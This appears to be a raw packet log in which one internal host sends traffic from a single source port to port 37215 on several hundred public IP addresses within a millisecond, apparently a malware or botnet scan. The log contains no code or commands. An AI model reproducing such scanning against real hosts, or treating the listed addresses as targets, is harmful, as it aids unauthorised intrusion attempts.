Jan 1, 2024 12:51:51.002275944 CET	37751	37215	192.168.2.13	41.59.62.115
Jan 1, 2024 12:51:51.002268076 CET	37751	37215	192.168.2.13	196.15.125.166
Jan 1, 2024 12:51:51.002276897 CET	37751	37215	192.168.2.13	197.43.136.224
Jan 1, 2024 12:51:51.002276897 CET	37751	37215	192.168.2.13	41.146.246.2
Jan 1, 2024 12:51:51.002276897 CET	37751	37215	192.168.2.13	92.253.65.189
Jan 1, 2024 12:51:51.002288103 CET	37751	37215	192.168.2.13	41.84.111.136
Jan 1, 2024 12:51:51.002288103 CET	37751	37215	192.168.2.13	197.178.176.35
Jan 1, 2024 12:51:51.002288103 CET	37751	37215	192.168.2.13	41.116.112.147
Jan 1, 2024 12:51:51.002288103 CET	37751	37215	192.168.2.13	197.231.103.215
Jan 1, 2024 12:51:51.002288103 CET	37751	37215	192.168.2.13	156.160.70.111
Jan 1, 2024 12:51:51.002288103 CET	37751	37215	192.168.2.13	197.58.106.255
Jan 1, 2024 12:51:51.002288103 CET	37751	37215	192.168.2.13	120.140.40.74
Jan 1, 2024 12:51:51.002288103 CET	37751	37215	192.168.2.13	94.70.11.118
Jan 1, 2024 12:51:51.002288103 CET	37751	37215	192.168.2.13	186.91.35.79
Jan 1, 2024 12:51:51.002295017 CET	37751	37215	192.168.2.13	156.141.140.251
Jan 1, 2024 12:51:51.002295017 CET	37751	37215	192.168.2.13	197.117.77.38
Jan 1, 2024 12:51:51.002295017 CET	37751	37215	192.168.2.13	122.11.169.124
Jan 1, 2024 12:51:51.002296925 CET	37751	37215	192.168.2.13	160.37.139.99
Jan 1, 2024 12:51:51.002299070 CET	37751	37215	192.168.2.13	41.145.143.30
Jan 1, 2024 12:51:51.002299070 CET	37751	37215	192.168.2.13	41.152.15.101
Jan 1, 2024 12:51:51.002299070 CET	37751	37215	192.168.2.13	197.57.217.199
Jan 1, 2024 12:51:51.002299070 CET	37751	37215	192.168.2.13	154.96.199.10
Jan 1, 2024 12:51:51.002299070 CET	37751	37215	192.168.2.13	157.15.24.122
Jan 1, 2024 12:51:51.002300978 CET	37751	37215	192.168.2.13	197.3.137.198
Jan 1, 2024 12:51:51.002300978 CET	37751	37215	192.168.2.13	122.75.126.95
Jan 1, 2024 12:51:51.002305031 CET	37751	37215	192.168.2.13	41.13.86.197
Jan 1, 2024 12:51:51.002305031 CET	37751	37215	192.168.2.13	156.231.203.163
Jan 1, 2024 12:51:51.002305031 CET	37751	37215	192.168.2.13	41.187.228.112
Jan 1, 2024 12:51:51.002316952 CET	37751	37215	192.168.2.13	37.154.203.240
Jan 1, 2024 12:51:51.002316952 CET	37751	37215	192.168.2.13	197.108.84.125
Jan 1, 2024 12:51:51.002321005 CET	37751	37215	192.168.2.13	156.59.198.194
Jan 1, 2024 12:51:51.002327919 CET	37751	37215	192.168.2.13	41.69.93.182
Jan 1, 2024 12:51:51.002327919 CET	37751	37215	192.168.2.13	41.158.177.184
Jan 1, 2024 12:51:51.002327919 CET	37751	37215	192.168.2.13	94.31.43.188
Jan 1, 2024 12:51:51.002341986 CET	37751	37215	192.168.2.13	156.18.181.148
Jan 1, 2024 12:51:51.002348900 CET	37751	37215	192.168.2.13	196.203.166.248
Jan 1, 2024 12:51:51.002361059 CET	37751	37215	192.168.2.13	41.35.100.93
Jan 1, 2024 12:51:51.002374887 CET	37751	37215	192.168.2.13	41.127.3.24
Jan 1, 2024 12:51:51.002377987 CET	37751	37215	192.168.2.13	41.105.159.10
Jan 1, 2024 12:51:51.002377987 CET	37751	37215	192.168.2.13	156.147.153.51
Jan 1, 2024 12:51:51.002383947 CET	37751	37215	192.168.2.13	41.101.84.171
Jan 1, 2024 12:51:51.002387047 CET	37751	37215	192.168.2.13	45.197.127.174
Jan 1, 2024 12:51:51.002389908 CET	37751	37215	192.168.2.13	197.146.58.203
Jan 1, 2024 12:51:51.002394915 CET	37751	37215	192.168.2.13	122.247.138.247
Jan 1, 2024 12:51:51.002403021 CET	37751	37215	192.168.2.13	156.6.146.72
Jan 1, 2024 12:51:51.002413034 CET	37751	37215	192.168.2.13	94.48.198.215
Jan 1, 2024 12:51:51.002413034 CET	37751	37215	192.168.2.13	102.230.6.217
Jan 1, 2024 12:51:51.002413988 CET	37751	37215	192.168.2.13	156.185.205.175
Jan 1, 2024 12:51:51.002414942 CET	37751	37215	192.168.2.13	156.99.86.17
Jan 1, 2024 12:51:51.002419949 CET	37751	37215	192.168.2.13	41.161.139.169
Jan 1, 2024 12:51:51.002434015 CET	37751	37215	192.168.2.13	94.133.208.216
Jan 1, 2024 12:51:51.002444029 CET	37751	37215	192.168.2.13	197.210.251.145
Jan 1, 2024 12:51:51.002444983 CET	37751	37215	192.168.2.13	154.193.109.177
Jan 1, 2024 12:51:51.002445936 CET	37751	37215	192.168.2.13	197.223.6.171
Jan 1, 2024 12:51:51.002448082 CET	37751	37215	192.168.2.13	197.251.201.224
Jan 1, 2024 12:51:51.002448082 CET	37751	37215	192.168.2.13	41.204.175.63
Jan 1, 2024 12:51:51.002449989 CET	37751	37215	192.168.2.13	41.210.250.76
Jan 1, 2024 12:51:51.002449036 CET	37751	37215	192.168.2.13	45.16.35.114
Jan 1, 2024 12:51:51.002448082 CET	37751	37215	192.168.2.13	41.134.237.223
Jan 1, 2024 12:51:51.002471924 CET	37751	37215	192.168.2.13	92.246.46.7
Jan 1, 2024 12:51:51.002471924 CET	37751	37215	192.168.2.13	41.33.64.128
Jan 1, 2024 12:51:51.002471924 CET	37751	37215	192.168.2.13	102.123.81.194
Jan 1, 2024 12:51:51.002471924 CET	37751	37215	192.168.2.13	197.160.229.187
Jan 1, 2024 12:51:51.002471924 CET	37751	37215	192.168.2.13	156.104.74.109
Jan 1, 2024 12:51:51.002475023 CET	37751	37215	192.168.2.13	197.69.75.85
Jan 1, 2024 12:51:51.002475023 CET	37751	37215	192.168.2.13	190.210.195.235
Jan 1, 2024 12:51:51.002475977 CET	37751	37215	192.168.2.13	45.199.149.46
Jan 1, 2024 12:51:51.002475977 CET	37751	37215	192.168.2.13	95.114.245.206
Jan 1, 2024 12:51:51.002484083 CET	37751	37215	192.168.2.13	197.9.49.67
Jan 1, 2024 12:51:51.002485991 CET	37751	37215	192.168.2.13	37.13.231.152
Jan 1, 2024 12:51:51.002486944 CET	37751	37215	192.168.2.13	41.179.125.206
Jan 1, 2024 12:51:51.002486944 CET	37751	37215	192.168.2.13	154.214.235.231
Jan 1, 2024 12:51:51.002487898 CET	37751	37215	192.168.2.13	41.244.191.79
Jan 1, 2024 12:51:51.002490044 CET	37751	37215	192.168.2.13	156.41.8.129
Jan 1, 2024 12:51:51.002495050 CET	37751	37215	192.168.2.13	156.47.45.103
Jan 1, 2024 12:51:51.002495050 CET	37751	37215	192.168.2.13	41.230.166.43
Jan 1, 2024 12:51:51.002497911 CET	37751	37215	192.168.2.13	94.134.111.51
Jan 1, 2024 12:51:51.002505064 CET	37751	37215	192.168.2.13	181.137.19.255
Jan 1, 2024 12:51:51.002505064 CET	37751	37215	192.168.2.13	154.76.61.212
Jan 1, 2024 12:51:51.002505064 CET	37751	37215	192.168.2.13	121.228.76.99
Jan 1, 2024 12:51:51.002509117 CET	37751	37215	192.168.2.13	197.27.111.98
Jan 1, 2024 12:51:51.002509117 CET	37751	37215	192.168.2.13	45.197.8.35
Jan 1, 2024 12:51:51.002509117 CET	37751	37215	192.168.2.13	156.208.185.221
Jan 1, 2024 12:51:51.002510071 CET	37751	37215	192.168.2.13	41.38.195.12
Jan 1, 2024 12:51:51.002510071 CET	37751	37215	192.168.2.13	197.194.146.95
Jan 1, 2024 12:51:51.002510071 CET	37751	37215	192.168.2.13	41.201.30.24
Jan 1, 2024 12:51:51.002512932 CET	37751	37215	192.168.2.13	120.97.93.44
Jan 1, 2024 12:51:51.002512932 CET	37751	37215	192.168.2.13	197.72.148.245
Jan 1, 2024 12:51:51.002515078 CET	37751	37215	192.168.2.13	156.82.219.186
Jan 1, 2024 12:51:51.002515078 CET	37751	37215	192.168.2.13	41.14.117.182
Jan 1, 2024 12:51:51.002515078 CET	37751	37215	192.168.2.13	197.173.17.240
Jan 1, 2024 12:51:51.002516985 CET	37751	37215	192.168.2.13	160.220.170.24
Jan 1, 2024 12:51:51.002516985 CET	37751	37215	192.168.2.13	41.109.237.184
Jan 1, 2024 12:51:51.002526045 CET	37751	37215	192.168.2.13	160.48.30.128
Jan 1, 2024 12:51:51.002526045 CET	37751	37215	192.168.2.13	154.38.224.234
Jan 1, 2024 12:51:51.002526045 CET	37751	37215	192.168.2.13	197.43.203.65
Jan 1, 2024 12:51:51.002528906 CET	37751	37215	192.168.2.13	156.230.186.107
Jan 1, 2024 12:51:51.002528906 CET	37751	37215	192.168.2.13	157.248.2.103
Jan 1, 2024 12:51:51.002528906 CET	37751	37215	192.168.2.13	156.245.81.27
Jan 1, 2024 12:51:51.002528906 CET	37751	37215	192.168.2.13	41.138.186.234
Jan 1, 2024 12:51:51.002531052 CET	37751	37215	192.168.2.13	122.175.105.106
Jan 1, 2024 12:51:51.002528906 CET	37751	37215	192.168.2.13	156.76.213.228
Jan 1, 2024 12:51:51.002531052 CET	37751	37215	192.168.2.13	41.1.68.188
Jan 1, 2024 12:51:51.002536058 CET	37751	37215	192.168.2.13	197.166.103.48
Jan 1, 2024 12:51:51.002536058 CET	37751	37215	192.168.2.13	156.210.94.116
Jan 1, 2024 12:51:51.002536058 CET	37751	37215	192.168.2.13	41.108.44.181
Jan 1, 2024 12:51:51.002536058 CET	37751	37215	192.168.2.13	197.183.204.138
Jan 1, 2024 12:51:51.002540112 CET	37751	37215	192.168.2.13	154.57.210.255
Jan 1, 2024 12:51:51.002541065 CET	37751	37215	192.168.2.13	197.207.235.9
Jan 1, 2024 12:51:51.002541065 CET	37751	37215	192.168.2.13	197.159.10.180
Jan 1, 2024 12:51:51.002541065 CET	37751	37215	192.168.2.13	156.46.221.175
Jan 1, 2024 12:51:51.002541065 CET	37751	37215	192.168.2.13	197.89.88.69
Jan 1, 2024 12:51:51.002541065 CET	37751	37215	192.168.2.13	41.20.111.26
Jan 1, 2024 12:51:51.002541065 CET	37751	37215	192.168.2.13	156.84.129.66
Jan 1, 2024 12:51:51.002547979 CET	37751	37215	192.168.2.13	156.72.53.188
Jan 1, 2024 12:51:51.002548933 CET	37751	37215	192.168.2.13	41.5.72.76
Jan 1, 2024 12:51:51.002559900 CET	37751	37215	192.168.2.13	138.107.159.246
Jan 1, 2024 12:51:51.002563953 CET	37751	37215	192.168.2.13	156.255.51.112
Jan 1, 2024 12:51:51.002563953 CET	37751	37215	192.168.2.13	197.177.92.199
Jan 1, 2024 12:51:51.002567053 CET	37751	37215	192.168.2.13	156.62.22.94
Jan 1, 2024 12:51:51.002594948 CET	37751	37215	192.168.2.13	41.169.33.115
Jan 1, 2024 12:51:51.002594948 CET	37751	37215	192.168.2.13	197.193.241.129
Jan 1, 2024 12:51:51.002595901 CET	37751	37215	192.168.2.13	41.188.130.48
Jan 1, 2024 12:51:51.002598047 CET	37751	37215	192.168.2.13	156.44.162.142
Jan 1, 2024 12:51:51.002599001 CET	37751	37215	192.168.2.13	41.51.238.35
Jan 1, 2024 12:51:51.002600908 CET	37751	37215	192.168.2.13	190.146.87.60
Jan 1, 2024 12:51:51.002608061 CET	37751	37215	192.168.2.13	138.166.29.251
Jan 1, 2024 12:51:51.002618074 CET	37751	37215	192.168.2.13	41.124.21.170
Jan 1, 2024 12:51:51.002618074 CET	37751	37215	192.168.2.13	197.187.234.1
Jan 1, 2024 12:51:51.002618074 CET	37751	37215	192.168.2.13	41.117.176.9
Jan 1, 2024 12:51:51.002618074 CET	37751	37215	192.168.2.13	156.151.124.73
Jan 1, 2024 12:51:51.002618074 CET	37751	37215	192.168.2.13	121.247.84.15
Jan 1, 2024 12:51:51.002621889 CET	37751	37215	192.168.2.13	156.252.141.214
Jan 1, 2024 12:51:51.002621889 CET	37751	37215	192.168.2.13	41.188.57.15
Jan 1, 2024 12:51:51.002621889 CET	37751	37215	192.168.2.13	95.244.235.202
Jan 1, 2024 12:51:51.002623081 CET	37751	37215	192.168.2.13	156.159.204.219
Jan 1, 2024 12:51:51.002623081 CET	37751	37215	192.168.2.13	156.14.11.135
Jan 1, 2024 12:51:51.002623081 CET	37751	37215	192.168.2.13	92.60.6.21
Jan 1, 2024 12:51:51.002623081 CET	37751	37215	192.168.2.13	138.21.100.27
Jan 1, 2024 12:51:51.002628088 CET	37751	37215	192.168.2.13	156.210.240.194
Jan 1, 2024 12:51:51.002628088 CET	37751	37215	192.168.2.13	156.25.233.44
Jan 1, 2024 12:51:51.002628088 CET	37751	37215	192.168.2.13	156.92.195.2
Jan 1, 2024 12:51:51.002628088 CET	37751	37215	192.168.2.13	41.243.19.242
Jan 1, 2024 12:51:51.002635956 CET	37751	37215	192.168.2.13	156.79.38.92
Jan 1, 2024 12:51:51.002635956 CET	37751	37215	192.168.2.13	41.242.125.73
Jan 1, 2024 12:51:51.002643108 CET	37751	37215	192.168.2.13	186.131.155.29
Jan 1, 2024 12:51:51.002643108 CET	37751	37215	192.168.2.13	41.76.128.1
Jan 1, 2024 12:51:51.002646923 CET	37751	37215	192.168.2.13	41.242.210.156
Jan 1, 2024 12:51:51.002648115 CET	37751	37215	192.168.2.13	196.57.60.200
Jan 1, 2024 12:51:51.002648115 CET	37751	37215	192.168.2.13	197.17.66.165
Jan 1, 2024 12:51:51.002648115 CET	37751	37215	192.168.2.13	196.12.253.200
Jan 1, 2024 12:51:51.002648115 CET	37751	37215	192.168.2.13	107.227.113.6
Jan 1, 2024 12:51:51.002648115 CET	37751	37215	192.168.2.13	197.177.213.20
Jan 1, 2024 12:51:51.002648115 CET	37751	37215	192.168.2.13	41.201.215.23
Jan 1, 2024 12:51:51.002648115 CET	37751	37215	192.168.2.13	107.139.128.93
Jan 1, 2024 12:51:51.002648115 CET	37751	37215	192.168.2.13	156.223.212.56
Jan 1, 2024 12:51:51.002652884 CET	37751	37215	192.168.2.13	41.59.70.190
Jan 1, 2024 12:51:51.002652884 CET	37751	37215	192.168.2.13	156.99.164.179
Jan 1, 2024 12:51:51.002657890 CET	37751	37215	192.168.2.13	222.244.205.60
Jan 1, 2024 12:51:51.002657890 CET	37751	37215	192.168.2.13	156.170.217.164
Jan 1, 2024 12:51:51.002664089 CET	37751	37215	192.168.2.13	156.109.193.119
Jan 1, 2024 12:51:51.002667904 CET	37751	37215	192.168.2.13	197.190.176.238
Jan 1, 2024 12:51:51.002667904 CET	37751	37215	192.168.2.13	197.46.87.189
Jan 1, 2024 12:51:51.002669096 CET	37751	37215	192.168.2.13	156.13.137.5
Jan 1, 2024 12:51:51.002669096 CET	37751	37215	192.168.2.13	41.125.83.125
Jan 1, 2024 12:51:51.002679110 CET	37751	37215	192.168.2.13	157.4.178.75
Jan 1, 2024 12:51:51.002684116 CET	37751	37215	192.168.2.13	120.73.0.206
Jan 1, 2024 12:51:51.002684116 CET	37751	37215	192.168.2.13	92.77.164.115
Jan 1, 2024 12:51:51.002684116 CET	37751	37215	192.168.2.13	37.227.179.58
Jan 1, 2024 12:51:51.002684116 CET	37751	37215	192.168.2.13	37.185.54.226
Jan 1, 2024 12:51:51.002685070 CET	37751	37215	192.168.2.13	156.108.152.84
Jan 1, 2024 12:51:51.002687931 CET	37751	37215	192.168.2.13	156.76.227.56
Jan 1, 2024 12:51:51.002687931 CET	37751	37215	192.168.2.13	41.189.28.220
Jan 1, 2024 12:51:51.002687931 CET	37751	37215	192.168.2.13	197.140.84.254
Jan 1, 2024 12:51:51.002687931 CET	37751	37215	192.168.2.13	37.76.208.8
Jan 1, 2024 12:51:51.002687931 CET	37751	37215	192.168.2.13	156.140.98.60
Jan 1, 2024 12:51:51.002687931 CET	37751	37215	192.168.2.13	92.212.225.134
Jan 1, 2024 12:51:51.002687931 CET	37751	37215	192.168.2.13	156.109.24.24
Jan 1, 2024 12:51:51.002687931 CET	37751	37215	192.168.2.13	95.45.175.20
Jan 1, 2024 12:51:51.002691031 CET	37751	37215	192.168.2.13	156.70.168.184
Jan 1, 2024 12:51:51.002708912 CET	37751	37215	192.168.2.13	197.208.120.135
Jan 1, 2024 12:51:51.002708912 CET	37751	37215	192.168.2.13	154.60.17.118
Jan 1, 2024 12:51:51.002708912 CET	37751	37215	192.168.2.13	197.134.208.30
Jan 1, 2024 12:51:51.002713919 CET	37751	37215	192.168.2.13	222.224.30.183
Jan 1, 2024 12:51:51.002727985 CET	37751	37215	192.168.2.13	120.63.6.115
Jan 1, 2024 12:51:51.002727985 CET	37751	37215	192.168.2.13	181.78.19.129
Jan 1, 2024 12:51:51.002736092 CET	37751	37215	192.168.2.13	41.160.32.238
Jan 1, 2024 12:51:51.002737045 CET	37751	37215	192.168.2.13	156.240.48.172
Jan 1, 2024 12:51:51.002737045 CET	37751	37215	192.168.2.13	154.79.130.167
Jan 1, 2024 12:51:51.002737045 CET	37751	37215	192.168.2.13	156.249.23.52
Jan 1, 2024 12:51:51.002737045 CET	37751	37215	192.168.2.13	156.166.43.3
Jan 1, 2024 12:51:51.002739906 CET	37751	37215	192.168.2.13	197.208.33.213
Jan 1, 2024 12:51:51.002742052 CET	37751	37215	192.168.2.13	37.190.181.162
Jan 1, 2024 12:51:51.002742052 CET	37751	37215	192.168.2.13	95.127.36.181
Jan 1, 2024 12:51:51.002747059 CET	37751	37215	192.168.2.13	156.41.60.200
Jan 1, 2024 12:51:51.002747059 CET	37751	37215	192.168.2.13	186.171.21.229
Jan 1, 2024 12:51:51.002747059 CET	37751	37215	192.168.2.13	197.167.114.51
Jan 1, 2024 12:51:51.002747059 CET	37751	37215	192.168.2.13	102.236.109.124
Jan 1, 2024 12:51:51.002747059 CET	37751	37215	192.168.2.13	41.54.4.82
Jan 1, 2024 12:51:51.002747059 CET	37751	37215	192.168.2.13	156.97.124.249
Jan 1, 2024 12:51:51.002747059 CET	37751	37215	192.168.2.13	156.172.59.203
Jan 1, 2024 12:51:51.002747059 CET	37751	37215	192.168.2.13	41.224.242.128
Jan 1, 2024 12:51:51.002747059 CET	37751	37215	192.168.2.13	94.208.192.176
Jan 1, 2024 12:51:51.002758026 CET	37751	37215	192.168.2.13	41.99.5.202
Jan 1, 2024 12:51:51.002758026 CET	37751	37215	192.168.2.13	41.64.234.188
Jan 1, 2024 12:51:51.002758980 CET	37751	37215	192.168.2.13	160.108.54.14
Jan 1, 2024 12:51:51.002759933 CET	37751	37215	192.168.2.13	197.218.17.105
Jan 1, 2024 12:51:51.002759933 CET	37751	37215	192.168.2.13	102.117.129.21
Jan 1, 2024 12:51:51.002760887 CET	37751	37215	192.168.2.13	197.251.241.236
Jan 1, 2024 12:51:51.002760887 CET	37751	37215	192.168.2.13	95.149.195.111
Jan 1, 2024 12:51:51.002758980 CET	37751	37215	192.168.2.13	154.148.106.81
Jan 1, 2024 12:51:51.002760887 CET	37751	37215	192.168.2.13	156.164.70.253
Jan 1, 2024 12:51:51.002760887 CET	37751	37215	192.168.2.13	41.183.139.200
Jan 1, 2024 12:51:51.002768040 CET	37751	37215	192.168.2.13	41.209.97.189
Jan 1, 2024 12:51:51.002775908 CET	37751	37215	192.168.2.13	156.106.128.141
Jan 1, 2024 12:51:51.002775908 CET	37751	37215	192.168.2.13	197.154.148.23
Jan 1, 2024 12:51:51.002779961 CET	37751	37215	192.168.2.13	156.246.29.140
Jan 1, 2024 12:51:51.002785921 CET	37751	37215	192.168.2.13	156.214.229.47
Jan 1, 2024 12:51:51.002785921 CET	37751	37215	192.168.2.13	156.140.61.239
Jan 1, 2024 12:51:51.002785921 CET	37751	37215	192.168.2.13	41.197.128.196
Jan 1, 2024 12:51:51.002785921 CET	37751	37215	192.168.2.13	41.229.194.223
Jan 1, 2024 12:51:51.002785921 CET	37751	37215	192.168.2.13	41.75.156.113
Jan 1, 2024 12:51:51.002785921 CET	37751	37215	192.168.2.13	41.77.237.244
Jan 1, 2024 12:51:51.002787113 CET	37751	37215	192.168.2.13	197.100.25.35
Jan 1, 2024 12:51:51.002787113 CET	37751	37215	192.168.2.13	197.227.255.20
Jan 1, 2024 12:51:51.002787113 CET	37751	37215	192.168.2.13	41.148.102.219
Jan 1, 2024 12:51:51.002787113 CET	37751	37215	192.168.2.13	156.230.172.189
Jan 1, 2024 12:51:51.002794027 CET	37751	37215	192.168.2.13	107.179.235.47
Jan 1, 2024 12:51:51.002794027 CET	37751	37215	192.168.2.13	156.122.77.20
Jan 1, 2024 12:51:51.002794027 CET	37751	37215	192.168.2.13	197.200.118.73
Jan 1, 2024 12:51:51.002794027 CET	37751	37215	192.168.2.13	41.178.73.121
Jan 1, 2024 12:51:51.002794027 CET	37751	37215	192.168.2.13	41.119.72.223
Jan 1, 2024 12:51:51.002794027 CET	37751	37215	192.168.2.13	197.76.132.96
Jan 1, 2024 12:51:51.002796888 CET	37751	37215	192.168.2.13	186.206.214.130
Jan 1, 2024 12:51:51.002796888 CET	37751	37215	192.168.2.13	156.16.215.222
Jan 1, 2024 12:51:51.002796888 CET	37751	37215	192.168.2.13	160.39.237.6
Jan 1, 2024 12:51:51.002800941 CET	37751	37215	192.168.2.13	138.203.99.201
Jan 1, 2024 12:51:51.002803087 CET	37751	37215	192.168.2.13	41.206.235.211
Jan 1, 2024 12:51:51.002803087 CET	37751	37215	192.168.2.13	41.223.235.94
Jan 1, 2024 12:51:51.002803087 CET	37751	37215	192.168.2.13	157.248.55.213
Jan 1, 2024 12:51:51.002803087 CET	37751	37215	192.168.2.13	45.195.158.252
Jan 1, 2024 12:51:51.002803087 CET	37751	37215	192.168.2.13	102.153.123.207
Jan 1, 2024 12:51:51.002814054 CET	37751	37215	192.168.2.13	197.8.90.143
Jan 1, 2024 12:51:51.002824068 CET	37751	37215	192.168.2.13	160.177.238.156
Jan 1, 2024 12:51:51.002830029 CET	37751	37215	192.168.2.13	156.231.17.165
Jan 1, 2024 12:51:51.002830982 CET	37751	37215	192.168.2.13	41.38.99.177
Jan 1, 2024 12:51:51.002830982 CET	37751	37215	192.168.2.13	41.104.3.101
Jan 1, 2024 12:51:51.002836943 CET	37751	37215	192.168.2.13	196.11.23.40
Jan 1, 2024 12:51:51.002850056 CET	37751	37215	192.168.2.13	41.138.102.32
Jan 1, 2024 12:51:51.002851009 CET	37751	37215	192.168.2.13	94.60.2.177
Jan 1, 2024 12:51:51.002856016 CET	37751	37215	192.168.2.13	41.222.99.153
Jan 1, 2024 12:51:51.002860069 CET	37751	37215	192.168.2.13	197.129.103.123
Jan 1, 2024 12:51:51.002860069 CET	37751	37215	192.168.2.13	107.95.78.174
Jan 1, 2024 12:51:51.002860069 CET	37751	37215	192.168.2.13	157.84.99.83
Jan 1, 2024 12:51:51.002860069 CET	37751	37215	192.168.2.13	154.126.70.216
Jan 1, 2024 12:51:51.002860069 CET	37751	37215	192.168.2.13	156.174.158.224
Jan 1, 2024 12:51:51.002860069 CET	37751	37215	192.168.2.13	41.35.26.61
Jan 1, 2024 12:51:51.002860069 CET	37751	37215	192.168.2.13	102.227.205.212
Jan 1, 2024 12:51:51.002860069 CET	37751	37215	192.168.2.13	156.186.166.241
Jan 1, 2024 12:51:51.002862930 CET	37751	37215	192.168.2.13	41.115.38.185
Jan 1, 2024 12:51:51.002862930 CET	37751	37215	192.168.2.13	186.105.105.154
Jan 1, 2024 12:51:51.002866030 CET	37751	37215	192.168.2.13	120.214.175.5
Jan 1, 2024 12:51:51.002872944 CET	37751	37215	192.168.2.13	197.246.219.107
Jan 1, 2024 12:51:51.002872944 CET	37751	37215	192.168.2.13	107.99.10.58
Jan 1, 2024 12:51:51.002883911 CET	37751	37215	192.168.2.13	181.128.87.29
Jan 1, 2024 12:51:51.002883911 CET	37751	37215	192.168.2.13	197.150.53.33
Jan 1, 2024 12:51:51.002892017 CET	37751	37215	192.168.2.13	197.43.212.202
Jan 1, 2024 12:51:51.002895117 CET	37751	37215	192.168.2.13	156.53.137.201
Jan 1, 2024 12:51:51.002902985 CET	37751	37215	192.168.2.13	160.72.234.132
Jan 1, 2024 12:51:51.002903938 CET	37751	37215	192.168.2.13	154.5.79.79
Jan 1, 2024 12:51:51.002903938 CET	37751	37215	192.168.2.13	120.236.181.191
Jan 1, 2024 12:51:51.002903938 CET	37751	37215	192.168.2.13	197.155.138.174
Jan 1, 2024 12:51:51.002903938 CET	37751	37215	192.168.2.13	95.89.91.219
Jan 1, 2024 12:51:51.002906084 CET	37751	37215	192.168.2.13	120.173.221.35
Jan 1, 2024 12:51:51.002903938 CET	37751	37215	192.168.2.13	156.56.244.144
Jan 1, 2024 12:51:51.002906084 CET	37751	37215	192.168.2.13	156.136.137.21
Jan 1, 2024 12:51:51.002917051 CET	37751	37215	192.168.2.13	196.37.255.250
Jan 1, 2024 12:51:51.002919912 CET	37751	37215	192.168.2.13	197.136.124.201
Jan 1, 2024 12:51:51.002924919 CET	37751	37215	192.168.2.13	222.190.47.15
Jan 1, 2024 12:51:51.002931118 CET	37751	37215	192.168.2.13	41.126.111.83
Jan 1, 2024 12:51:51.002933025 CET	37751	37215	192.168.2.13	197.215.27.182
Jan 1, 2024 12:51:51.002938986 CET	37751	37215	192.168.2.13	41.196.133.111
Jan 1, 2024 12:51:51.002942085 CET	37751	37215	192.168.2.13	156.107.217.229
Jan 1, 2024 12:51:51.002942085 CET	37751	37215	192.168.2.13	107.241.176.128
Jan 1, 2024 12:51:51.002959013 CET	37751	37215	192.168.2.13	94.126.169.164
Jan 1, 2024 12:51:51.002959013 CET	37751	37215	192.168.2.13	41.169.144.155
Jan 1, 2024 12:51:51.002959013 CET	37751	37215	192.168.2.13	222.198.22.122
Jan 1, 2024 12:51:51.002963066 CET	37751	37215	192.168.2.13	197.50.206.21
Jan 1, 2024 12:51:51.002964973 CET	37751	37215	192.168.2.13	156.180.15.247
Jan 1, 2024 12:51:51.002968073 CET	37751	37215	192.168.2.13	197.24.21.69
Jan 1, 2024 12:51:51.002969027 CET	37751	37215	192.168.2.13	156.182.207.234
Jan 1, 2024 12:51:51.002971888 CET	37751	37215	192.168.2.13	92.60.78.128
Jan 1, 2024 12:51:51.002974987 CET	37751	37215	192.168.2.13	102.54.74.124
Jan 1, 2024 12:51:51.002979040 CET	37751	37215	192.168.2.13	92.85.196.118
Jan 1, 2024 12:51:51.002989054 CET	37751	37215	192.168.2.13	156.183.149.155
Jan 1, 2024 12:51:51.002989054 CET	37751	37215	192.168.2.13	41.7.0.173
Jan 1, 2024 12:51:51.002991915 CET	37751	37215	192.168.2.13	41.181.34.232
Jan 1, 2024 12:51:51.003000975 CET	37751	37215	192.168.2.13	41.33.66.182
Jan 1, 2024 12:51:51.003001928 CET	37751	37215	192.168.2.13	41.66.106.176
Jan 1, 2024 12:51:51.003002882 CET	37751	37215	192.168.2.13	138.105.72.153
Jan 1, 2024 12:51:51.003004074 CET	37751	37215	192.168.2.13	197.51.247.168
Jan 1, 2024 12:51:51.003011942 CET	37751	37215	192.168.2.13	190.207.138.179
Jan 1, 2024 12:51:51.003014088 CET	37751	37215	192.168.2.13	160.14.164.196
Jan 1, 2024 12:51:51.003025055 CET	37751	37215	192.168.2.13	197.202.114.191
Jan 1, 2024 12:51:51.003031969 CET	37751	37215	192.168.2.13	41.154.82.106
Jan 1, 2024 12:51:51.003032923 CET	37751	37215	192.168.2.13	102.165.15.157
Jan 1, 2024 12:51:51.003041029 CET	37751	37215	192.168.2.13	94.63.220.185
Jan 1, 2024 12:51:51.003041029 CET	37751	37215	192.168.2.13	41.228.60.41
Jan 1, 2024 12:51:51.003041029 CET	37751	37215	192.168.2.13	197.76.3.7
Jan 1, 2024 12:51:51.003057003 CET	37751	37215	192.168.2.13	102.150.16.161
Jan 1, 2024 12:51:51.003060102 CET	37751	37215	192.168.2.13	41.165.137.239
Jan 1, 2024 12:51:51.003060102 CET	37751	37215	192.168.2.13	156.247.17.182
Jan 1, 2024 12:51:51.003061056 CET	37751	37215	192.168.2.13	41.93.65.134
Jan 1, 2024 12:51:51.003063917 CET	37751	37215	192.168.2.13	197.238.104.91
Jan 1, 2024 12:51:51.003067017 CET	37751	37215	192.168.2.13	154.47.19.177
Jan 1, 2024 12:51:51.003074884 CET	37751	37215	192.168.2.13	197.243.125.175
Jan 1, 2024 12:51:51.003083944 CET	37751	37215	192.168.2.13	41.249.146.73
Jan 1, 2024 12:51:51.003086090 CET	37751	37215	192.168.2.13	197.124.92.177
Jan 1, 2024 12:51:51.003086090 CET	37751	37215	192.168.2.13	197.93.58.61
Jan 1, 2024 12:51:51.003086090 CET	37751	37215	192.168.2.13	120.97.64.18
Jan 1, 2024 12:51:51.003088951 CET	37751	37215	192.168.2.13	157.98.91.43
Jan 1, 2024 12:51:51.003089905 CET	37751	37215	192.168.2.13	37.219.233.187
Jan 1, 2024 12:51:51.003091097 CET	37751	37215	192.168.2.13	41.22.43.179
Jan 1, 2024 12:51:51.003092051 CET	37751	37215	192.168.2.13	41.16.133.213
Jan 1, 2024 12:51:51.003102064 CET	37751	37215	192.168.2.13	92.163.133.168
Jan 1, 2024 12:51:51.003114939 CET	37751	37215	192.168.2.13	197.182.117.224
Jan 1, 2024 12:51:51.003120899 CET	37751	37215	192.168.2.13	41.19.167.89
Jan 1, 2024 12:51:51.003120899 CET	37751	37215	192.168.2.13	156.47.74.90
Jan 1, 2024 12:51:51.003123045 CET	37751	37215	192.168.2.13	186.220.192.208
Jan 1, 2024 12:51:51.003125906 CET	37751	37215	192.168.2.13	154.58.196.101
Jan 1, 2024 12:51:51.003135920 CET	37751	37215	192.168.2.13	107.45.140.151
Jan 1, 2024 12:51:51.003135920 CET	37751	37215	192.168.2.13	94.228.193.157
Jan 1, 2024 12:51:51.003137112 CET	37751	37215	192.168.2.13	95.98.237.221
